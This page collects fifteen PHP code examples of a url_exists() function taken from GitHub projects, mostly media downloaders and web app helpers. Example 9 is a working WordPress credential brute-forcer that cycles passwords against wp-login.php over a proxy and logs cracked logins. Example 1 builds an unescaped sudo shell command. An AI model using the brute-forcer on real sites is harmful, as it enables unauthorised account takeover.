当前位置: 首页>>代码示例>>PHP>>正文


PHP url_exists函数代码示例

本文整理汇总了PHP中url_exists函数的典型用法代码示例。如果您正苦于以下问题:PHP url_exists函数的具体用法?PHP url_exists怎么用?PHP url_exists使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了url_exists函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: enabled

 /**
  * Indicate if service is enabled
  */
 public function enabled()
 {
     $enabled = true;
     if (!empty($this->cmd)) {
         $result = exec("sudo service " . $this->cmd . " status", $output, $code);
         $enabled &= empty($code) && !preg_match('/not/', $result);
     }
     if (!empty($this->url)) {
         $enabled &= url_exists($this->url);
     }
     return $enabled;
 }
开发者ID:Reeska,项目名称:restinpi,代码行数:15,代码来源:service.lib.php

示例2: getAudio

function getAudio($rss, &$link, $abstime = 0)
{
    $rsscontent = file_get_contents($rss);
    $rss = simplexml_load_string($rsscontent);
    $channel = $rss->channel;
    if (count($channel->item) > 0) {
        $item = $channel->item[0];
        $enclosure = $item->enclosure;
        $link = $enclosure['url'];
        if ($abstime > 0) {
            $strDate = date("Y-m-d", strtotime($item->pubDate) + $abstime);
            $remote = 'http://media.cathassist.org/vaticanradio/cn/mp3/' . $strDate . '.mp3';
            if (url_exists($remote)) {
                $link = $remote;
            }
        }
        return date("Y-m-d", strtotime($item->pubDate) + $abstime);
    }
}
开发者ID:gaoerjun,项目名称:Web,代码行数:19,代码来源:checkrss.php

示例3: doit

 public function doit()
 {
     global $PAGE;
     if (!$this->auto || check_auto($PAGE->code, $this->auto)) {
         if ($this->link && url_exists($this->link)) {
             echo "    ";
             if ($this->type == 'script') {
                 echo '<script src="' . $this->link . '"></script>';
             } elseif ($this->type == 'style') {
                 echo '<link rel="stylesheet" href="' . $this->link . '" />';
             } else {
                 echo $this->link;
             }
             echo "\n";
         }
         if ($this->function != null && (is_string($this->function) && function_exists($this->function) || is_callable($this->function))) {
             call_user_func($this->function);
         }
     }
 }
开发者ID:taqtaq11,项目名称:detemiro,代码行数:20,代码来源:basic-script-collector.php

示例4: dbem_admin_general_script

function dbem_admin_general_script()
{
    ?>
<script
	src="<?php 
    bloginfo('url');
    ?>
/wp-content/plugins/events-manager/dbem.js"
	type="text/javascript"></script>
<script
	src="<?php 
    bloginfo('url');
    ?>
/wp-content/plugins/events-manager/js/jquery-ui-datepicker/ui.datepicker.js"
	type="text/javascript"></script>
<script
	src="<?php 
    bloginfo('url');
    ?>
/wp-content/plugins/events-manager/js/timeentry/jquery.timeentry.js"
	type="text/javascript"></script>   
<?php 
    // Check if the locale is there and loads it
    $locale_code = substr(get_locale(), 0, 2);
    $show24Hours = 'true';
    // Setting 12 hours format for those countries using it
    if (preg_match("/en|sk|zh|us|uk/", $locale_code)) {
        $show24Hours = 'false';
    }
    $locale_file = get_bloginfo('url') . "/wp-content/plugins/events-manager/js/jquery-ui-datepicker/i18n/ui.datepicker-{$locale_code}.js";
    if (url_exists($locale_file)) {
        ?>
<script
	src="<?php 
        bloginfo('url');
        ?>
/wp-content/plugins/events-manager/js/jquery-ui-datepicker/i18n/ui.datepicker-<?php 
        echo $locale_code;
        ?>
.js"
	type="text/javascript"></script>
<?php 
    }
    ?>


<style type='text/css' media='all'>
@import
	"<?php 
    plugins_url('js/jquery-ui-datepicker/ui.datepicker.css', __FILE__);
    ?>
"
	;
</style>
<script type="text/javascript">
 	//<![CDATA[        
   // TODO: make more general, to support also latitude and longitude (when added)
$j=jQuery.noConflict();   

function updateIntervalDescriptor () { 
	$j(".interval-desc").hide();
	var number = "-plural";
	if ($j('input#recurrence-interval').val() == 1 || $j('input#recurrence-interval').val() == "")
	number = "-singular"
	var descriptor = "span#interval-"+$j("select#recurrence-frequency").val()+number;
	$j(descriptor).show();
}
function updateIntervalSelectors () {
	$j('p.alternate-selector').hide();   
	$j('p#'+ $j('select#recurrence-frequency').val() + "-selector").show();
	//$j('p.recurrence-tip').hide();
	//$j('p#'+ $j(this).val() + "-tip").show();
}
function updateShowHideRecurrence () {
	if($j('input#event-recurrence').attr("checked")) {
		$j("#event_recurrence_pattern").fadeIn();
		/* Marcus Begin Edit */
		//Edited this and the one below so dates always can have an end date
		//$j("input#localised-end-date").fadeIn();
		/* Marcus End Edit */ 
		$j("#event-date-explanation").hide();
		$j("#recurrence-dates-explanation").show();
		$j("h3#recurrence-dates-title").show();
		$j("h3#event-date-title").hide();     
	} else {
		$j("#event_recurrence_pattern").hide();
		/* Marcus Begin Edit */
		//$j("input#localised-end-date").hide();
		/* Marcus End Edit */ 
		$j("#recurrence-dates-explanation").hide();
		$j("#event-date-explanation").show();
		$j("h3#recurrence-dates-title").hide();
		$j("h3#event-date-title").show();   
	}
}

function updateShowHideRsvp () {
	if($j('input#rsvp-checkbox').attr("checked")) {
		$j("div#rsvp-data").fadeIn();
	} else {
//.........这里部分代码省略.........
开发者ID:recordsonribs,项目名称:Ribcage-Events-Manager,代码行数:101,代码来源:dbem_events.php

示例5: BuildingPage


//.........这里部分代码省略.........
                    $parse['mes_' . $Element] = "";
                    $parse['canbuild_' . $Element] = "\n\t\t\t\t\t\t<a class=\"fastBuild tips\" href=\"#\" onclick=\"loadpage('./?page=" . $_GET['page'] . "&cmd=insert&building={$Element}&id={$Element}',document.title,document.body.id);\">\n\t\t\t\t\t\t\t<img src=\"" . GAME_SKIN . "/img/layout/sofort_bauen.gif\" height=\"14\" width=\"22\">\n\t\t\t\t\t\t</a>";
                }
            } else {
                $parse['state_' . $Element] = "off";
                $parse['mes_' . $Element] = "Not availble";
                $parse['canbuild_' . $Element] = "";
            }
            $parse['name_' . $Element] = $ElementName;
            $parse['count_' . $Element] = $planetrow[$resource[$Element]];
        }
    }
    //Countdowns
    if ($planetrow['b_building'] > 0) {
        $BuildQueue = explode(";", $planetrow['b_building_id']);
        $CurrBuild = explode(",", $BuildQueue[0]);
        $parse['countdown_' . $CurrBuild[0]] = "\n\t\t\t\t\t\t\t\t\t<div class=\"construction\">\n\n\t\t\t\t\t\t\t\t\t\t<div class=\"pusher\" style=\"height: 80px; margin-bottom: -80px;\">\n\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"time\" id=\"resource\">" . parsecountdown($planetrow['b_building']) . "</span>\n\n\t\t\t\t\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t\t\t\t</div>\n";
    }
    $BuildingPage = parsetemplate($SubTemplate, $parse);
    $parse = $lang;
    $Element = idstring($_GET['id']);
    $ElementName = $lang['names'][$Element];
    // Faut il afficher la liste de construction ??
    if ($Queue['length'] > 0) {
        $parse['BuildList'] = $Queue['buildlist'];
    } else {
        $parse['BuildList'] = "";
    }
    $de_planettype = PlanetType($planetrow['image']);
    $parse['type'] = $de_planettype['type'];
    if ($_GET['page'] == 'station') {
        $parse['bg'] = HEADER_CACHE . "station/" . $parse['type'] . ".png";
    } elseif ($_GET['page'] == 'resources') {
        if (url_exists(HEADER_CACHE . "resources/" . $parse['type'] . $imgnum . ".png")) {
            $parse['bg'] = HEADER_CACHE . "resources/" . $parse['type'] . $imgnum . ".png";
        } else {
            $parse['bg'] = HEADER_CACHE . "resources/default.png";
        }
    } else {
        die("Hacking attempt");
    }
    $parse['hideres'] = "display:none;";
    $parse['hidenorm'] = "";
    $parse['planetname'] = $planetrow['name'];
    if (!$Element) {
        if ($_GET['mode'] == "resources") {
            $parse['hideres'] = "";
            $parse['hidenorm'] = "display:none;";
        }
    } else {
        if (!is_array($Allowed[$planetrow['planet_type']])) {
            $message = $user['username'] . " (" . intval($user['id']) . ") does not have a propper planet_type, so \$Allowed[\$planetrow['planet_type']] was not an array, causing the error which is most likely directly below this.";
            trigger_error($message, E_USER_NOTICE);
        }
        if (in_array($Element, $Allowed[$planetrow['planet_type']])) {
            //Something else
            $HaveRessources = IsElementBuyable($user, $planetrow, $Element, true, false);
            $parse['i'] = $Element;
            $parse['dpath'] = $dpath;
            $BuildingLevel = $planetrow[$resource[$Element]];
            $parse['nivel'] = $BuildingLevel == 0 ? "" : " (" . $lang['level'] . " " . $BuildingLevel . ")";
            $parse['n'] = $ElementName;
            $parse['descriptions'] = $lang['res']['descriptions'][$Element];
            $ElementBuildTime = BuildingTime($Element, $BuildingLevel + 1, $planetrow);
            $parse['time'] = ShowBuildTime($ElementBuildTime);
            $parse['price'] = GetElementPrice($user, $planetrow, $Element);
开发者ID:sonicmaster,项目名称:RPG,代码行数:67,代码来源:BuildingPage.php

示例6: intval

$base = intval(date('H', $tmNow)) % 12;
$i = 0;
while ($i < 2) {
    $tmNow = time() + ($base + $i * 12) * 3600 * 24;
    $strDate = date('Y-m-d', $tmNow);
    $link = 'http://apps.thomasluk.idv.hk/apps/themes/read_bible/' . date('Ymd', $tmNow) . 'p.mp3';
    $lmp3 = './thought/mp3/' . date('Y-m-d', $tmNow) . '.mp3';
    if (!file_exists($lmp3)) {
        $cxdate = date("Y-n-j", $tmNow);
        $cxradio = 'http://radio.cxsm.org/playlist/' . $cxdate . '.txt';
        $cxlist = explode("\n", file_get_contents($cxradio));
        //或是url list
        if (count($cxlist) > 1) {
            $link = cn_urlencode(trim($cxlist[1]));
            echo "Use cxradio mp3<br/>";
        }
        echo "check link:" . $link . "<br/>";
        if (url_exists($link)) {
            $bname = basename($link);
            echo "base name:" . $bname . '<br/>';
            $local = './objs/' . time() . '_' . $bname;
            curl_download($link, $local);
            echo "download from:" . $link . "<br/>";
            if (!rename($local, $lmp3)) {
                echo "rename false<br/>";
            }
        }
    }
    $i++;
}
echo '<br/><h2>Done!!!</h2>';
开发者ID:gaoerjun,项目名称:Web,代码行数:31,代码来源:checkformedia.php

示例7: while

 $eventrss .= '<ttl>15</ttl>' . "\n";
 while ($results = mysql_fetch_array($query3)) {
     $league_url = strtolower(str_replace(" ", "%20", $results['league']));
     $time = date("g:i A", strtotime($results['time']));
     $date = date("m-d-Y", strtotime($results['date']));
     $eventrss .= '<item>' . "\n";
     $eventrss .= '<guid>http://espn.go.com/espn3/player?id=' . $results['event_id'] . '</guid>' . "\n";
     $eventrss .= '<title>' . $results['sport'] . ' - ' . $results['event'] . '</title>' . "\n";
     $eventrss .= '<description>' . $results['sport'] . ' - ' . $results['league'] . ' - ' . $results['event'] . ' - ' . $date . ' - ' . $time . ' EST</description>' . "\n";
     $eventrss .= '<boxee:property name="custom:sport">' . $results['sport'] . '</boxee:property>' . "\n";
     $eventrss .= '<boxee:property name="custom:league">' . $results['league'] . '</boxee:property>' . "\n";
     $eventrss .= '<boxee:property name="custom:event">' . $results['event'] . '</boxee:property>' . "\n";
     $eventrss .= '<boxee:property name="custom:date">' . $date . '</boxee:property>' . "\n";
     $eventrss .= '<boxee:property name="custom:time">' . $time . ' EST</boxee:property>' . "\n";
     $eventrss .= '<media:content url="flash://espn.go.com/src=' . $content_url . '%3Fid%3D' . $results['event_id'] . '%26league%3D' . $league_url . '&bx-jsactions=' . $js_control . '" type="application/x-shockwave-flash" />' . "\n";
     if (url_exists($results['thumb'])) {
         $eventrss .= '<media:thumbnail url="' . $results['thumb'] . '" />' . "\n";
     } else {
         $eventrss .= '<media:thumbnail url="http://boxee.thinkonezero.com/espn3/build/thumbs/default.png" />' . "\n";
     }
     $eventrss .= '<boxee:media-type expression="full" type="show" name="Live Sports"/>' . "\n";
     $eventrss .= '<media:category scheme="urn:boxee:genre">sport</media:category>' . "\n";
     $eventrss .= '<boxee:release-date>' . $results['fulldate'] . '</boxee:release-date>' . "\n";
     $eventrss .= '</item>' . "\n";
 }
 $eventrss .= '</channel>' . "\n";
 $eventrss .= '</rss>' . "\n";
 $sportfile = strtolower(str_replace(' ', '_', $sport[0]));
 $leaguefile = strtolower(str_replace(' ', '_', $league[0]));
 //Write the Replay Events XML File
 $xmlfile = '/home/phikai/boxee.thinkonezero.com/espn3/feeds/replay/' . $sportfile . '-' . $leaguefile . '.xml';
开发者ID:phikai,项目名称:boxee-espn3,代码行数:31,代码来源:build_replay_rss.php

示例8: pageanalysis

    public function pageanalysis()
    {
        $this->load->library('Analysis');
        $this->load->library('Extractor');
        $urlcheck = $this->input->post('urlcheck', TRUE);
        var_dump($urlcheck);
        if (empty($urlcheck)) {
            $this->template->title($this->module_details['name'])->append_css('module::style.css')->build('admin/pageanalysis');
        } else {
            define('GOOGLE_MAGIC', 0.0);
            if (strtolower($urlcheck) == "http://") {
            } else {
                if (!preg_match('/^(http|https|ftp):\\/\\/([A-Z0-9][A-Z0-9_-]*(?:\\.[A-Z0-9][A-Z0-9_-]*)+):?(\\d+)?\\/?/i', $urlcheck)) {
                    ?>
				<div class="errorurl" style="width: 395px">
				<strong class="redb">ERROR: Please Provide proper URL to index the page.</strong><br /><br />
				Kindly Provide a proper URL. <br /><br />The <b>Format of URL should be:</b> <br />http://www.example.com, or<br />http://www.example.com/sample-page.php, or<br />http://subdomain.example.com/sub-directory/sample-page.php,<br />or similar to the above formats.
				</div>
				<?php 
                } else {
                    $url = str_replace('http://', '', $urlcheck);
                    $url = 'http://' . $url;
                    $meta = new analysis();
                    $res = $meta->getValues($url);
                    $ext = new extractor($url);
                    $links = $ext->ExtractLinks('');
                    $res['links'] = $ext->links;
                }
            }
            $pch = url_exists($urlcheck);
            //			var_dump($pch);
            $this->template->title($this->module_details['name'])->append_css('module::style.css')->build('admin/pageanalysisresult');
        }
    }
开发者ID:kulgee001,项目名称:yggdrasil,代码行数:34,代码来源:admin.php

示例9: wp_brute

function wp_brute()
{
    if (isset($_POST['hosts']) && isset($_POST['passwords']) && isset($_POST['usernames'])) {
        $conn = new mysqli(SQL_HOST, SQL_USER, SQL_PWD, SQL_DB);
        $hosts = trim(filter($_POST['hosts']));
        $passwords = trim(filter($_POST['passwords']));
        $usernames = trim(filter($_POST['usernames']));
        if ($passwords && $usernames && $hosts) {
            $hostsx = explode("\n", $hosts);
            $usersx = explode("\n", $usernames);
            $passsx = explode("\n", $passwords);
            echo '<div class="post">';
            echo '<h2 class="title"><a href="#">Results</a></h2>';
            echo '<div class="entry">';
            echo '<p class="meta"> Wordpress CMS Bruteforce &nbsp;&bull;&nbsp; Broken credentials will be stored in database';
            foreach ($hostsx as $host) {
                $host = RemoveLastSlash($host);
                $hxd = 0;
                $host = str_replace(array("http://", "https://", "www."), "", trim($host));
                $host = "http://" . $host;
                $wpAdmin = $host . '/wp-admin/';
                if (!url_exists($host . "/wp-login.php")) {
                    echo "<p>" . $host . " - <font color='#990000'>Login page not found</font></p>";
                    ob_flush();
                    flush();
                    continue;
                }
                foreach ($usersx as $username) {
                    foreach ($passsx as $password) {
                        $ch = curl_init();
                        if (USE_PROXY == 1) {
                            curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
                            curl_setopt($ch, CURLOPT_PROXY, PROXY_IP . ':' . PROXY_PORT);
                        }
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php');
                        curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
                        curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_POST, TRUE);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri&#8207;" . "&redirect_to=" . $wpAdmin . "&testcookie=1");
                        $login = curl_exec($ch);
                        if (eregi("profile.php", $login)) {
                            $hxd = 1;
                            echo "<p>" . $host . " - Cracked! Username - <font color='#990000'>" . $username . "</font> & Password : <font color='#990000'>" . $password . "</font></p>";
                            mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string($host) . ":80', '" . mysql_escape_string($username) . ":" . mysql_escape_string($password) . "')", $conn);
                            ob_flush();
                            flush();
                            break;
                        }
                    }
                    if ($hxd == 1) {
                        break;
                    }
                }
                if ($hxd == 0) {
                    echo "<p>" . $host . " - <font color='#990000'>Failed</font></p>";
                    ob_flush();
                    flush();
                }
            }
            echo '</div></div>';
        } else {
            echo "<h2><font color='#990000'>All fields are required!</font></h3>";
        }
    }
    mysqli_close($conn);
}
开发者ID:drego85,项目名称:quasibot,代码行数:68,代码来源:config.php

示例10: array

$vajson = null;
if (!file_exists($vafile)) {
    $vajson["title"] = "梵蒂冈中文广播";
    $vajson["date"] = $strDate;
    $vajson["logo"] = "http://www.cathassist.org/radio/logos/vacn.jpg";
    $itemsrc = "http://media.cathassist.org/vaticanradio/cn/mp3/" . $strDate . ".mp3";
    if (url_exists($itemsrc)) {
        $title = "梵蒂冈中文广播";
        $vajson['items'][0] = array('title' => $title, 'src' => $itemsrc);
        file_put_contents($vafile, json_encode($vajson));
        append2All("vacn", $vajson);
    } else {
        echo "Can't update vacn...<br/>";
    }
}
$gosfile = './gos/' . $strDate;
$gosjson = null;
if (!file_exists($gosfile)) {
    $gosjson["title"] = "每日福音";
    $gosjson["date"] = $strDate;
    $gosjson["logo"] = "http://www.cathassist.org/radio/logos/gos.jpg";
    $itemsrc = "http://media.cathassist.org/thought/mp3/" . $strDate . ".mp3";
    if (url_exists($itemsrc)) {
        $title = "每日福音";
        $gosjson['items'][0] = array('title' => $title, 'src' => $itemsrc);
        file_put_contents($gosfile, json_encode($gosjson));
        append2All("gos", $gosjson);
    } else {
        echo "Cant't update gos...<br/>";
    }
}
开发者ID:gaoerjun,项目名称:Web,代码行数:31,代码来源:updatedata.php

示例11: while

$i = 0;
while ($i < 1) {
    $tmNow = time() + $base * 3600 * 24;
    $strDate = date('Y-m-d', $tmNow);
    //			$link = 'http://apps.thomasluk.idv.hk/apps/themes/read_bible/'.date('Ymd',$tmNow).'p.mp3';
    $link = '';
    $lmp3 = './thought/mp3/' . date('Y-m-d', $tmNow) . '.mp3';
    if (!file_exists($lmp3)) {
        $cxdate = date("Y-n-j", $tmNow);
        $cxradio = 'http://211.149.237.175/playlist/' . $cxdate . '.txt';
        $cxlist = explode("\n", file_get_contents($cxradio));
        //或是url list
        if (count($cxlist) > 1) {
            $link = cn_urlencode(trim($cxlist[1]));
            echo "Use cxradio mp3<br/>";
        }
        echo "check thought date:" . $strDate . "<br/>";
        if ($link != '' && url_exists($link)) {
            $bname = basename($link);
            echo "base name:" . $bname . '<br/>';
            $local = './objs/' . time() . '_' . $bname;
            curl_download($link, $local);
            echo "download from:" . $link . "<br/>";
            if (!rename($local, $lmp3)) {
                echo "rename false<br/>";
            }
        }
    }
    $i++;
}
echo '<br/><h2>Done!!!</h2>';
开发者ID:gaoerjun,项目名称:Web,代码行数:31,代码来源:checkformedia-media.php

示例12: dctl_xmldb_connect

function dctl_xmldb_connect($mode = 'query', $persistent = false)
{
    //
    $persistent = false;
    // force to check if eXist works fine without pid
    //
    $exist = FALSE;
    require_once str_replace(SYS_PATH_SEP_DOUBLE, SYS_PATH_SEP, dirname(__FILE__) . SYS_PATH_SEP) . '..' . SYS_PATH_SEP . '_shared' . SYS_PATH_SEP . 'exist-api.inc.php';
    try {
        if ($mode == 'admin') {
            $wsdl_url = XMLDB_HOST . ':' . XMLDB_PORT . '/exist/services/Admin?wsdl';
            $u = DCTL_XMLDB_USER_ADMIN;
            $p = DCTL_XMLDB_PSWD_ADMIN;
        } else {
            $wsdl_url = XMLDB_HOST . ':' . XMLDB_PORT . '/exist/services/Query?wsdl';
            $u = DCTL_XMLDB_USER;
            $p = DCTL_XMLDB_PSWD;
        }
        $exist = false;
        if (url_exists($wsdl_url)) {
            /* 			if ($mode == 'admin') { */
            /* 				$exist = new existAdmin(DCTL_XMLDB_USER, DCTL_XMLDB_PSWD, $wsdl_url); */
            /* 			} else { */
            $exist = new exist($u, $p, $wsdl_url, $persistent);
            /* 			}; */
            $exist->setDebug(false);
            $exist->connect($mode);
        } else {
            echo '<span class="error">Can\'t find URL {' . $wsdl_url . '}</span><br />';
        }
    } catch (Exception $e) {
        echo '<span class="error">Can\'t connect to xmldb engine... {' . $e . '}</span><br />';
    }
    return $exist;
}
开发者ID:noveopiu,项目名称:dCTL,代码行数:35,代码来源:functions.inc.php

示例13: enabled

 /**
  * @override
  */
 public function enabled()
 {
     return url_exists($this->url);
 }
开发者ID:Reeska,项目名称:restinpi,代码行数:7,代码来源:serviceweb.lib.php

示例14: die

             $_ERROR[] = "The URL you have entered is not allowed.";
         }
     }
 }
 if (strlen($alias) > 0) {
     if (!preg_match("/^[a-zA-Z0-9_-]+\$/", $alias)) {
         $_ERROR[] = "Custom alias can only contain letters, numbers, underscores and dashes.";
     } else {
         if (code_exists($alias) || alias_exists($alias)) {
             $_ERROR[] = "The custom alias you entered is already exists.";
         }
     }
 }
 if (count($_ERROR) == 0) {
     $create = true;
     if ($url_data = url_exists($url)) {
         $create = false;
         $id = $url_data[0];
         $code = $url_data[1];
         $old_alias = $url_data[2];
         if (strlen($alias) > 0) {
             if ($old_alias != $alias) {
                 $create = true;
             }
         }
     }
     if ($create) {
         do {
             $code = generate_code(get_last_number());
             if (!increase_last_number()) {
                 die("System error!");
开发者ID:malkazwini,项目名称:phurl,代码行数:31,代码来源:bkm.php

示例15: get_header

<?php

get_header();
$c = mysql_real_escape_string($_GET[c]);
$the_comment = get_comment($_GET[c]);
?>
	<div id="comments">
		<ul class="comment_list"><li>
			<?php 
if ($the_comment->comment_approved == '1') {
    ?>
				<div class="user">
					<div class="author">
					<?php 
    $auth_link = $the_comment->comment_author_url;
    if (url_exists($auth_link)) {
        ?>
							Σχόλιο του χρήστη '<strong><a href="<?php 
        echo $auth_link;
        ?>
" target="_blank" rel="nofollow"><?php 
        echo $the_comment->comment_author;
        ?>
</a></strong>'
						<?php 
    } else {
        ?>
							Σχόλιο του χρήστη '<strong><?php 
        echo $the_comment->comment_author;
        ?>
</strong>'
开发者ID:PDM-OpenGov,项目名称:opengov_consultations,代码行数:31,代码来源:comments_single.php


注:本文中的url_exists函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。